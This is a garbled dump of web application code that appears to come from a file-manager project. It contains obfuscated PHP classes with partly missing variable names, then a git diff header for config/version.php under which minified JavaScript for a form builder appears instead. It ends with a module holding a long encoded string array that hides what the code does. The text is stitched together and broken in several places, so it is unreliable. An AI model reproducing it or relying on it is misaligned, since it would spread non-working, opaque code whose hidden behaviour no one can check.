$ԣ; $ҹ = IO::fileSubstr($this->path, $ԣ, $̣); $[$ԣ . $⬰[12]] = $ҹ; ksort($); $ڟ = substr($ҹ, $ - $ԣ, $у); return $ڟ; } private function log($Ž, $×) { $ə =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($ə[1612], $Ž, $this->info[$ə[32]], $, $×), $ə[1257]); } } goto AȪȃ; fȋ߇: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\145\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($) { $ҝ =& $_SERVER[]; return array($ҝ[2077] => array($ҝ[2497] . USER_ID, $ҝ[2078])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1754] => USER_ID, $[557] => array($[2081], 0)); $ = $[2498]; $ = $this->field($)->where($)->order($[2084])->select(); return $ ? $ : array(); } protected function addToTag($, $) { $ù =& $_SERVER[]; if (!Model($ù[2229])->listData($)) { return !1; } if (is_numeric($)) { $в = Model($ù[899])->pathInfo($); if (!$в) { return !1; } } else { $в = IO::infoSimple($); if (!$в) { return !1; } $ꏟ = $в[$ù[32]]; $۹ = $в[$ù[33]]; if (isset($в[$ù[485]])) { $۹ = $в[$ù[485]] == $ù[91] ? $ù[78] : $ù[230]; } } $ = array($ù[1754] => USER_ID, $ù[557] => $, $ù[495] => $, $ù[496] => $۹ ? $۹ : $ù[490], $ù[494] => $ꏟ ? $ꏟ : $ù[12], $ù[1966] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($Ջ, $) { $ =& $_SERVER[]; if (!Model($[2229])->listData($)) { return !1; } if (is_array($Ջ)) { $Ջ = array($[7], $Ջ); } $ = array($[1754] => USER_ID, $[557] => $, $[495] => $Ջ); return $this->where($)->delete(); } protected function removeByTag($) { $ͅ =& $_SERVER[]; if (!$) { return !1; } $ = array($ͅ[1754] => USER_ID, $ͅ[557] => $); return $this->where($)->delete(); } protected function removeBySource($) { $̂ÿ =& $_SERVER[]; if (is_array($)) { $ = array($̂ÿ[7], $); } $ = array($̂ÿ[1754] => USER_ID, $̂ÿ[557] => array($̂ÿ[1085], 0), $̂ÿ[495] => $); return $this->where($)->delete(); } }
\ No newline at end of file
diff --git a/config/version.php b/config/version.php
index aa57ae05..cf8d2ed4 100755
--- a/config/version.php
+++ b/config/version.php
@@ -1,3 +1,3 @@
"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this._delay(function(){this.trigger("initFinished",this)},0))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(n,o){var a=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key"),i=a.formData[t];e&&"html"!=e&&"button"!=e&&!_.isUndefined(t)&&i&&!_.isString(i)&&(e=n?"":_.get(i,"value",""),o&&(e=_.get(o,t,e)),a.setValue(t,e))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&!_.get(n,"formStyle.disableAutoBlock")&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,o,a,s,r=this,c=this.formData,l=r.makeHtml(c);return!!l&&(i=_.debounce(function(){r.trigger("dialogResize")},100),l=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":' ',"width":700,"height":510,"content":l,"okVal":LNG["common.save"],"ok":function(){var e=r.getFormData(!0),e=!!e.success&&e.result;if(r.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var e=_.get(r,"dialog.$main");e&&e.find(".tab-item.active").tabCurrent(!0),i()},"close":function(){r.objectRemove()}}).className,(o=$.extend(!0,n,e)).className=l+" "+_.get(e,"className","")+" ",o.className+=_.get(c,"formStyle.className","")+" ",o.className+=_.get(c,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&!_.get(c,"formStyle.disableAutoBlock")&&(o.className+=" form-box-title-block"),l="dialog-form-style-default",_.get(c,"formStyle.tabs")&&(_.includes(o.className,"dialog-form-style-")||(o.className+=" "+l),_.includes(o.className,l))&&o.width&&(o.width+=120),this.dialog=$.dialog(o),(a=this.dialog.$main).data("kodForm",this),a.find(".modal-title").html(a.find(".aui-title").html()),this.bindEvent(),o.singleDialog&&(a.removeClass("dialog-no-title"),a.find(".form-header").addClass("hidden"),a.find(".aui-footer").addClass("hidden")),s=this.dialog.title,this.dialog.title=function(e){s.apply(r.dialog,[e]),a.find(".modal-title").html(e)},t&&this.$(".form-save-button").last().bind("click",function(){n.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog)},"save":function(){(this.dialog?this.dialog.$main.find(".aui-state-highlight"):this.$(".form-save-button").last()).click()},"makeHtml":function(e){var t;return"string"==typeof e?(this.loadFile(file),!1):($.isPlainObject(e.formStyle)&&e.formStyle.loadFile&&(t=e.formStyle.loadFile,this._each(t="string"==typeof t?[t]:t,this.loadFile)),t=r(47),e={"items":e,"wrapID":this.wrapID,"renderHtml":_.bind(this.renderHtml,this)},this.renderHtml(t,e,!1))},"bindEvent":function(){var a=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this);(e=this.input$()).each(function(){var e=a.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.$el.addClass("is-loading"),this._delay(function(){a.$el.removeClass("is-loading")},100),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),this.ignoreAnimation=!1,this.ignoreInitChange=!!_.get(this.formData,"formStyle.ignoreInitChange"),this.$el.hasClass("form-inline")&&(this.ignoreAnimation=!0),"1"==_.get(this.formData,"formStyle.ignoreAnimation")&&(this.ignoreAnimation=!0);var e=this.input$(),s=timeFloat(),t=(e.inputChange(function(){var t,i,n,e,o;a.$el&&(t=$(this),i=$(this).parents(".form-row").first(),n=i.attr("data-key"),(e=a.formData[n])&&"checkbox"==e.type&&(a.checkChangeToggle(i,t,e),a.checkChangeToggleClass(i,t,e),a.checkChangeSwitch(i,t,e),a.checkChangeAlias(i,t,e)),e&&"radio"==e.type&&a.checkChangeRadio(i,t,e),e&&"select"==e.type&&"mutil"==e.selectType&&(a.selectChangeToggle(i,t,e),a.checkChangeToggleClass(i,t,e)),a.switchItemChange(n),o=window.event||!1,a._delay(function(){var e;a.$el&&(a._event=o,a.trigger("onChangeAll",n,a.getValue(n),i,t,a._event),e=!0,(e=a.ignoreInitChange&&timeFloat()-s<.2?!1:e)&&a.trigger("onChange",n,a.getValue(n),i,t,a._event),a._event=window.event)},0))}),_.get(a.formData,"formStyle.autoFocus"));t&&a.formData[t]&&e.filter('[name="'+t+'"]')&&setTimeout(function(){e.filter('[name="'+t+'"]').focus()},100);for(var i=e.length-1;0<=i;i--){var n=$(e.get(i));setTimeout(void n.trigger("change"),0)}this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){var e;$(this).hasClass("disabled")||(e=!!(e=a.getFormData(!0)).success&&e.result,a.trigger("onSave",e,a))}),this.$(".form-reset-button").bind("click",function(){a.resetValue()}),this.bindEventInput(),this.trigger("bindEventInput")},"checkChangeAlias":function(e,s,r){var i,n,t,c;r.checkAlias&&(r.$inputs||(i={},n=r.checkAlias,_.each(n,function(e,t){e+="",t+="",_.isArray(n[t])||(n[t]=e.split(",")),_.each(n[t],function(e){i[e]||(i[e]=[]),-1===i[e].indexOf(t)&&i[e].push(t)})}),r.checkChildren=i,r.$inputs=e.find(">.setting-content > label > input")),e=s.prop("checked"),t=s.attr("value"),c=function c(e,t,i){var n=e[t];if(n)for(var o=0;o.setting-content > label input")).each(function(){var e=$(this);!e.is(t)&&e.prop("checked")&&(e.removeAttr("checked"),e.parent().removeClass("select"))}):void 0;var a,s,r=i.checkToggleVal,n=(r||(r=[],a=e.find(">.setting-content > label input"),s=[],a.each(function(){s.push($(this).attr("value"))}),_.each(i.checkToggle,function(e,i){var n=e;"*"==e&&(e=s),_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t;e&&e!=i&&(t=a.filter('[value="'+e+'"]')).length&&(r.push({"by":i,"k":e,"$inputItem":t}),t=a.filter('[value="'+i+'"]'),"*"==n)&&r.push({"by":e,"k":i,"$inputItem":t})})}),i.checkToggleVal=r),t.prop("checked")),c=t.attr("value"),l=this.getValueField(e.attr("data-key")).split(",");_.each(r,function(e){n&&c==e.by&&_.includes(l,e.by)&&e.$inputItem.attr("checked")&&(e.$inputItem.parent().addClass("select"),e.$inputItem.removeAttr("checked").trigger("change"))})}},"checkChangeToggleClass":function(i,e,t){var n,o;t.checkToggleClass&&(n=e.prop("checked"),o=e.attr("value"),_.each(t.checkToggleClass,function(e,t){o==t&&_.each(e,function(e,t){t=i.find('>.setting-content > label[data-value="'+t+'"]');t&&t.setClass(e,n)})}))},"checkChangeRadio":function(e,t,i){e.find(".setting-content label").removeClass("select"),e.find("input").filter(":checked").parent().addClass("select")},"selectChangeToggle":function(e,t,i){var n,o,a,s,r,c;if(i.checkToggle)return n=_.filter(t.val()),o=i.checkToggle,a=(t.attr("data-value")||"").split(","),r=_.clone(n),c=!1,s=function s(){t.attr("data-value",r.join(","))},!_.isArray(n)||n.length<=1||(r=_.clone(n),c=!1,_.each(n,function(e){_.includes(a,e)||c||(_.each(o,function(e,t){"*"==e&&_.includes(n,t)&&_.pull(r,t)}),o[e]&&("*"==o[e]?(c=!0,r=[e]):(e=o[e].split(","),_.each(e,function(e){_.pull(r,e)}))))}),_.isEqual(n,r))?s():(t.val(r).trigger("change"),void s())},"checkChangeSwitch":function(e,t,i){var a,s,o,r;i.checkSwitch&&((a=i.checkSwitchVal)||(a=[],s=e.find(">.setting-content > label"),_.each(i.checkSwitch,function(e,o){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t="-"==e[0],i="*"==e[0]?"disabled":"hidden",n=("-*"==e.slice(0,2)||"*-"==e.slice(0,2)?(e=e.slice(2),t=!0,i="disabled"):"-"!=e[0]&&"*"!=e[0]||(e=e.slice(1)),s.filter('[data-value="'+e+'"]'));n.length&&a.push({"by":o,"k":e,"$label":n,"isReverse":t,"className":i})})}),i.checkSwitchVal=a),t.prop("checked"),o=t.attr("value"),r=this.getValueField(e.attr("data-key")).split(","),_.each(a,function(n){var e;o==n.by&&(e=_.filter(a,{"k":n.k})||[],(e=_.filter(e,function(e){return e!=n})).push(n),_.each(e,function(e){var t=_.includes(r,e.by),i=t?"removeClass":"addClass";e.isReverse&&(i=t?"addClass":"removeClass"),n.$label[i](e.className)}))}))},"bindEventInput":function(){var i=this,n=(this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}}),function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")});this.bind("onChangeAll",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.setValue(t.attr("data-key"),"")})},"bindFormAll":function(){var n=this.formRow$(),o=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);n.filter(".form-"+t).exists()&&_.isFunction(this[i])&&this._delay(function(){this[i].apply(this,[function(){o.trigger("fieldLoad",t)},this])},0)})},"switchItemChange":function(e,i,t){var n,o,a,s,r,c;i=i||{},(t=t||{})[e]||(t[e]=!0,n=this.formData[e],o="button/switch/radio/checkbox/select/tags/segment".split("/"),r=this.getValueField(e),n&&(s=this.formRow$(e),a=s&&"2"==s.data("data-show"),this.switchItemClassItem(n,r),s=n.switchItemValue&&n.switchItemValue[r],_.isObject(s)&&this.setValue(s),n)&&n.switchItem&&_.includes(o,n.type)&&(s=_.map(n.switchItem).join(",").split(","),"button"==n.type&&(r=this.input$(e).val()),c=n.switchItem[r]?n.switchItem[r].split(","):[],this.$el.attr("switch-key-"+e,r),_.includes(r,",")&&this._each(r.split(","),function(e){n.switchItem[e]&&(c=c.concat(n.switchItem[e].split(",")))}),c=_.filter(_.map(c,_.trim)),s=_.filter(_.map(s,_.trim)),this._each(s,function(e){var t=this.formRow$(e);_.includes(c,e)&&!a?(this.display(t,1),i[e]=!0):this.display(t,0)}),this._each(s,function(e){_.includes(c,e)&&!a?this.switchItemChange(e,i,t):this.switchItemHideChildren(e,i)})))},"switchItemClassItem":function(e,t){var n;e&&_.isObject(e.switchItemClass)&&(n=(t||"").split(","),this._each(e.switchItemClass,function(e,t){var i=_.includes(n,t)?"addClass":"removeClass";this._each(e,function(e,t){t=this.formRow$(t);t&&t.length&&t[i](e)})}))},"switchItemHideChildren":function(e,i,n){var t=this.formData[e],o="button/switch/radio/checkbox/select/tags/segment".split("/");t&&t.switchItem&&_.includes(o,t.type)&&!(n=n||{})[e]&&(n[e]=!0,o=_.map(t.switchItem).join(",").split(","),o=_.filter(_.map(o,_.trim)),this._each(o,function(e){var t;i[e]||(t=this.formRow$(e),this.display(t,0),this.switchItemHideChildren(e,i,n))}))},"display":function(t,e){var i="item-hide",n=function n(){var e="block";return t.hasClass("inline")&&(e="inline-block"),t.parents(".target-form").hasClass("form-inline")&&(e="inline-block"),t.css("display",e).removeClass(i)},o=t.hasClass("no-animate")||this.ignoreAnimation;if((this.$el.hasClass("no-animate")||this.$el.hasClass("form-inline")||this.$el.parent().hasClass("form-inline"))&&(o=!0),this.viewRendering||o)return t.data("data-show",e?"1":"2"),e?n():t.hide().addClass(i);var a=$.easing.def,o={"duration":150,"queue":!($.easing.def="linear")};e?"1"!=t.data("data-show")&&(t.data("data-show","1"),t.stop().slideDown(150,function(){n().css({"opacity":"","overflow":""}),$.easing.def=a}),t.css({"opacity":0}).animate({"opacity":1},o)):"2"!=t.data("data-show")&&(t.data("data-show","2"),t.stop().slideUp(150,function(){t.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=a}),t.animate({"opacity":0},o))},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var o=this;i.each(function(){var e=$(this).attr("id"),t=o.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?' ':c[e]?''+(' ')+" ":_.startsWith(e,"icon-")?' ':_.includes(e," ")?' ':' ')},d=function d(e){if(e&&"{"==e[0]){e=(e||"").match(/^{\w+(:[a-zA-Z]+)?}/);if(e&&e[0]){e=e[0].replace(/[{}]/g,"").replace(/:/g,"-");if(r[e])return e}}return""},h=function h(e){var t=!(1 ":l(e,t)},t.pathIcon=a},function(e,t,i){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r=(Object.defineProperty(t,"__esModule",{"value":!0}),"function"==typeof Symbol&&"symbol"===n(Symbol.iterator)?function(e){return void 0===e?"undefined":n(e)}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":void 0===e?"undefined":n(e)}),o=s(i(222)),a=i(23),c=s(i(51));function s(e){return e&&e.__esModule?e:{"default":e}}var l,d=["WRXDWROA","gZpdOCoOWQu=","B24SW65q","CWqdcmkm","f8omW7FdMH4=","W7CLW5HSEG==","AW7dJNtdGdFcUCoCWQS=","m8kSWQHJEa==","kCoUW7JdNru=","WRVcHSotaLW=","WQBdPur6nHCP","xvmkWO1g","W7WOpXNcJq==","j8k5W4K=","gYeCcmkS","W6SegdFcGq==","vvCTWRvX","x1eFWO1z","g0WygKm=","umoIWOBdImkl","WRBdJSk/vqu=","cSoPW6BdOs8=","WR/dM3ZdJ3q=","WOldReddHtlcMmoYjmkqW4KvnSkCcYP9W4ndWR0tsZW=","hCoUimk6tG==","nuKadvW=","WR5dW7xdSKa=","WRVdGCkio8kO","W7FcImkahqNcPmkqedZdTSkgWPS+W44qzse=","ArmZd8kRgHTh","bcychCk4WP7dLa==","rmo7W71onW==","WOndW7XRWQy=","WRdcHcy=","WP7cVmo2aeO=","WRJdI8kUn8kh","W4yhW6PrW7K=","WRBdTmk5wau=","i04Inf0=","uSoCWRFdHCkJWOpcRSky","WOfxW41GWPry","W5XVoKddHblcLbBcNqVdGxnk","nmocW7ZdPqG=","DSoWAIdcRvXFvSoZW7/dKvSBfgK=","paiWeSkV","bSkLWQX/DW==","zSohW5b9aG==","AIldLmoMjq==","EGhdPSoYpa==","pCkmWRTaqq==","eSoyDmkJW4CVr8k6iW==","W7GIiaRcLG==","imkpWRrCzG==","WRJdHmkAo8kA","W5ziwW0e","qNGSW71f","hmo7FeBcKa==","W6RdLH7dOK8=","imkWWO1Pzq==","W6VdPdVdPLK=","WPLCW6y=","W7NcSdFcGdO=","oCkYWQfUWQq=","W7BcN3pdUrW=","E0KvW7vqWRy=","xmk4WRddThe=","eIWWfcW=","zZiziCk7","WONdM0Ltda==","Cq0xfmkV","jSoJzmkhW4K=","tWC9jCka","W7aNW5j5","fZevaG==","W6FcQNVdSXK=","WRldLSkBc8k6","W6dcUsBcJq==","WPfwW60=","iCo5DL3cOq==","WPhdRSkFbSkt","jJmksce=","WRxdVmkjoCkb","WRldGSkenSkN","jCoCW6NdOrK=","mmobDmoE","W5hcPYBcJsyW","paqKc8kDtW==","CSkYWOhdK2i=","WRPaWQKeca==","n8oPqmkKW74=","rvirW7LtWRFcU37cOf3cTq==","fCoGvKBcSa==","aSojf8kMCG==","WQ7cNSotgxZcQSoxa3JdJSoCWOzMW51a","BGiGbCk+iG==","WQLgWQ0A","uISebmkF","sfi0WOfM","xSk0WONdOh8=","CX/dU1NdIq==","CJGdb8ke","W61XCb8J","jXSxvcS=","WRpdRMRdHwK=","W4a2W6zZW6C=","W6W7W4n4","aSo4ACkVW4O=","ar09aZy=","aSoeWRy=","W7O9W6P5W4i=","xMSxWRjB","tcVdLgJdKW==","WPJdHmk0fSkW","W6jPbetdOG==","WRBdRCkEoG==","mmoFsCkKW5a=","pGackmkF","W6zAyY8/","W6CPdrZcKa==","WP/cG8oHpWe=","WRNdMmkznmkA","B8kHWRZdHLO=","u8oCWPddP8kRW4XWxW==","W6aKWO3cHCoDE1WO","W6ndk27dIW==","W6VcVfJdNGm=","WPZcSLxdQhG=","W50OW7XpFa==","aH4YFcm=","oSo9j8kLBmo/dNxcGW==","vSoqWOO=","o8oYCv3cQq==","nbtdJCopWOGJW4VcLe3dI8khW48aomkPW4r8W7DHsG==","jSo+smkeW6m=","aZW/pCkA","esyg","WRpdN8kerYa=","s0ikWOTeWQW=","WOVcL8oKlw0=","dSoDWRNdVmkb","vSkmWPxdMve=","WRFdMSkVhSkk","W5ZcM3pdNYa=","jcapwIpdVSkwW5NdLetcKKq=","bmo5W43dOW==","ptGomJy=","bvmihK4=","WO/dRmk5zGe=","W4TYpvVdKW==","W47cNxVdMqW=","mX0Htsa=","nCknWPTWWOm=","hbKwka==","WQpdOSkOoCkq","WQbkW61cWRq=","rSoia2NdM8oYjSksnerqWQjxWP0C","faFcV8o4W5xdGCkJWRakzSkWWQVdGG==","yCo0WPJdISko","W5RcIWhcGr0=","pXexkSkV","ASoCWQ7dVSkk","WQD8WPyKlq==","z00vW75q","wIhdPmojoG==","sZKKimkR","BSonW4PQpCoKWOxcKW==","W6frvqSb","tmoDwZ7dQa==","WOBcRmoJCxO=","W64/WPZcR8oy","t0GCWPzC","jCoyW4VdUXe=","k10Aoq==","gHFdIJr2q8oVWPldUfdcSa==","cdChvZW=","ruGaW6q=","WRhcNYldTdyeBmoVBSkmuruSm8oZiJZcQ1ygW7RcHWdcQM3cV8oQW7FdVKFdNmkbxtWtWRn1","W4i0W5nTW48=","jSk4WObHwx1eW53cSmoqadtcQ8og","WR44W5e=","l8kLWOXwE8kTgG/dT8owCtdcT3zbtCk1W6NdSSon","WOzEc28KW55dWOJcMK9tW6Dyx3JcQLqRW4qyWOP/wq9BW6HxcghdQ8oRW6pcQZPJx8kHW41GWPD3WOBcMmoHF10iWQ7cOCouaCowkqnRlmoWE8o1WQ9PDd4JW57cMvpdJbpcKaRcVSkvW6tdPMdcOqJcLff8kvaqWPSpEcxdKSoPWQhcIxBdVSocrbZcQ8ot","W6L0iwpdSa==","WOyQBfVcMvNcJvhdMa==","pmoyWRddKq==","v8o/WPhdK8kf","WRjgW4ZdS10=","sYhcRbOc","W60GWRNcLSo/","wLaEWQ5/","aSoexvpcGa==","WRNcG8oYcsa=","h8oTy1VcRW==","dKGHovG=","dSkcWPPyWPa=","W5PQauddQW==","xc3dOCoqoLlcIWWPW53cRaewW5RcLv/dGXK=","v08VW5H4","FsNdICoUcq==","rmo5AJJdRa==","WPBdOSk9xYy=","W5KPhZFcGa==","WOdcO8oXlq==","zGpdNwNdRq==","nqpcIvq6","C8kgWRFdKLeZrCkr","wItdH8oJkW==","b8ovWQVdLW==","WOFcOMNdN0u=","gCooqmkwW6e=","fCo4W6BdSZq=","W43cU1JdIca=","aSk0W5mO","DcBdGmouha==","WOxdICkNbCki","a04wkv0=","lbGGhmkdCbPyWQSdWP0pic0=","veSmW4Th","eSorv3RcJSoR","WP7cQNldHvK=","W4uGW5bEW7K=","WRBdTmknpSkgFvpdU3OhW6ddNguwWQGKWQOLemoOW6hcPCo/Bq==","W77cVLBdQW==","m8olW6ldVrZcMq==","Ba8xb8kz","hSoDu8oSW7m=","vwOyW5D0","dYlcIKiB","W60UW79tW6DyWOlcKW==","ACk9W5BcISoxW61dWO0vW6CyiSkgW6W5","yMaNW71q","p8kiWQvlWQK=","BWqHgCkIiJbbdsHmW7zr","d8ocoCkPva==","W7ZcTKddRI4=","WRbjW4tdMg4=","WPVcGmoRfMS=","dmoHrmoiW6u=","aCkNWPz5Fq==","W7VcPYBcPcm=","W7pcTdC=","wxJcSmk2WOaVW5ddKuddK8kvW74kuCoQW4jyW7D0ASo7bCkYWQdcJq==","zmo8ycFdTG==","aYK6oCkq","W7NcNctcTcu=","W4W5WOxcSSob","W6ycjHNcJ8kFlsC=","W47cGYFcTtK=","WP7dMxrphW==","jSotWRRdS8kx","WQ/cJxxdIwG=","W4THlfW=","W6WTW752rG==","rmoPW5TzbG==","W7SDWQFcSmoK","EcRcIb0t","WODwW7ddQ2HQnCoFW5tcNxS=","xw4qW7nz","E1VcMSoLW5X/WPhdLWa=","WP94W4tdNxW=","Abm+","WPtcKwNdIwG=","W7STW7PFW4m=","wGqAcmkb","WOzqW4z+","W77cVfG=","frmivbe=","kGlcMMap","WOldR0ZdPxq=","WPBdV8kyxsK=","A8oPW7zwdG==","emoNWRddNmkH","bmoovr3dGtPUqdu=","hLGglfO=","iWGIcSkg","oHxcHmkOWOK1W4hcK0ZdH8ow","jSoAWOJdGL5OlmoSW7tcImkNwctdQmo3","x3ezWOD1","iYy/Cae=","iCoErcRdIa==","BaZcTq4K","s8oIWQFdQCkG","oGmGdCohvrTBWQCvW7mwoYxdIqG/o8ojAHBcJG==","dWuqkY8=","oSoTAmkmW7S=","i1K2pxO=","bCooFSkXWRWQtCkPlmkeW6uIea7dVq==","mZOFxH4=","vSoAWORdRSk6","W4jqAXme","lSkHWOHnuq==","aCokDmk2W7yvxSkZ","WPJcUmoRpJFcUtu=","WO7cUIFdKYW=","fSo+W5RdOaNdRmkB","WRniW45RW4bVDrJdHSoB","iGJcISooW4O=","xwCkWO94","jhCggMG=","AqSCgmke","gcurkCk0","W7NcVwFdKWO=","a8oWFxFcJW==","xCozWRldS8ka","zmohW49Fba==","W7VcUuNdSda=","pCokbmk6Fq==","EW7cSYa8","WRdcHINdTty=","BSo6WOldTSkzWOVcHmk9rmo7nmk1WOTv","W6FcOhFdRq0=","WQ7dMCknzHC=","bqNdUmo/WP0=","d8ouDb3dVW==","W5dcNIRcUXy=","W6dcOYRcJG==","WQFcHCoRgby=","DdddGSoMbG==","kCkYWOD0WPeuWPzVW4K=","ebW+kI4=","cHOvnY7cQG==","khy9fhy=","fCoIumoYW7C=","gmk1WRfICa==","aSk+WPfxqa==","tmo4W7DxjW==","ifinpq==","W6zfb03dIW==","WP/cUSoUmcq=","Cmo8WPldGSkL","AM8DWRv/","st3dRf3dLG==","W6WWW5j+EGFdN1XZWPBdNG==","zZJdIv7dLG==","WQdcOwddPMC=","h8onzCkDW74=","W7mRWP/cLmoRDW==","luy2axi=","jxONhe8=","qSo6WQldLCkY","pXtdL8oTWPaU","keWjn3y=","fCkPWPLxWQm=","WOxcK23dG09AjSk3lW==","W7NdOdtdVfJcIW==","gCkzWR1qva==","imonWPldG8kt","WQRcPSo6nt4=","j8o8D1hcVa==","WQpdUKrVjW==","E8oMWQRdImkq","hXJdSSo6WQC=","mmomyflcRW==","jcahxIe=","gYxdKCoAWOa=","gGxdKCoyWQG=","ra7cKs8XvW==","mSooW53dMrW=","o8oajCklxG==","W5C2WQ3cImoO","Cq0EhmkK","W4WOW5Xxsa==","D8oMDYBdG1fBtSoM","WPnaW4bHWPq=","kmo+sG7dLa==","c3SkaNK=","WPldMCksrbW=","j8ktWP5tWOG=","tJevlCki","WPZdNwH5eq==","W7mNWOVcLCoLx0OYW4hcSaDoWPSqFmkDWPDNesNdNmoOWRGKWPPQkCkhWPfzWRe0WOBcNreqW5i=","W6igW7DyCW==","lCoFW4ldGai=","W5WHlJRcOW==","WR3dGSkecSk9","mmoFD8kHW7K=","WQxcHmoEbxq=","fCokCSkKW4C5xmk6","j8k6WPvMrW==","oCkVWP8=","W500W7niW5W=","oahdG8oRWOa=","lmkJWPXwxa==","sH3dMmo0gG==","ACohWQpdHmkW","iCobW63dKHu=","rCoCWPpdPG==","W7NdKspdOeG=","dbWsnNxcSCovWORdMSooEYTnoJuPk8kZWQdcTCo7wa==","W6hcUWVcQXS=","WRRdT2Xaka==","ANOMW6zl","qSoTW6Hxba==","xt/cLrWj","WPJdQuddSgW=","lYJcVmoQW7K=","a8ooD8kWW7yZwmkzjmkBW7i1cY7dQgFdVZa=","W7ZcImkfhqJcPmkxedRdTSkmWPS/W44rzsJcNCoD","WQdcHSo4gYi=","pSkVWOP8","WQxcNZFdRZy=","W6NdRdRdTG==","ASoOWO/dImkl","BHddUwtdLG==","WQnkW7zLWQK=","W6ZcUvldUWZdKmkC","WOldJ8k/raC=","W5XlFtaH","cshcJxCa","bCkgWRvgEq==","eJu2AZi=","WOtcMH3dTHS=","W5atcaJcGmk1ldK=","WRH3W4ldV0i=","omolW7lcUtjQqSkmWOVcOConcgRdQ8k6WRJcQvu8WQNcUSoFWOBdR8o4abmVW4DgsZdcR0dcHXGsWPq5W5KmWPHwWPVcQqjjjJ/cPdldTCo2qLhdPwddOmkAW4HTrSocWOavhqrmWRj+W4j9l8o3WQFdGavFa8oPxmoVWOD7fvldK8oLkSoWW6JcNNlcHNfkWO9LWR12yCkkWO5nvwfsw8o+WRZcPZRcUSkgWO0mW4m1WOnyW597xMuemmk8W6STDCkzW7SlWP50WQbkWP4MWQpcH8osr8ogoCo9WQNdMbfRj8oxWP3cJCkQWPRdV8oaAmkPDmorqaFcHmkAWQBdRCkVWQb0WRtcJHpdImkkW7iCAMzmWRqvW5y8WRizWO9TbmoFySoUW4igWP4XjSo2xmotW61+emk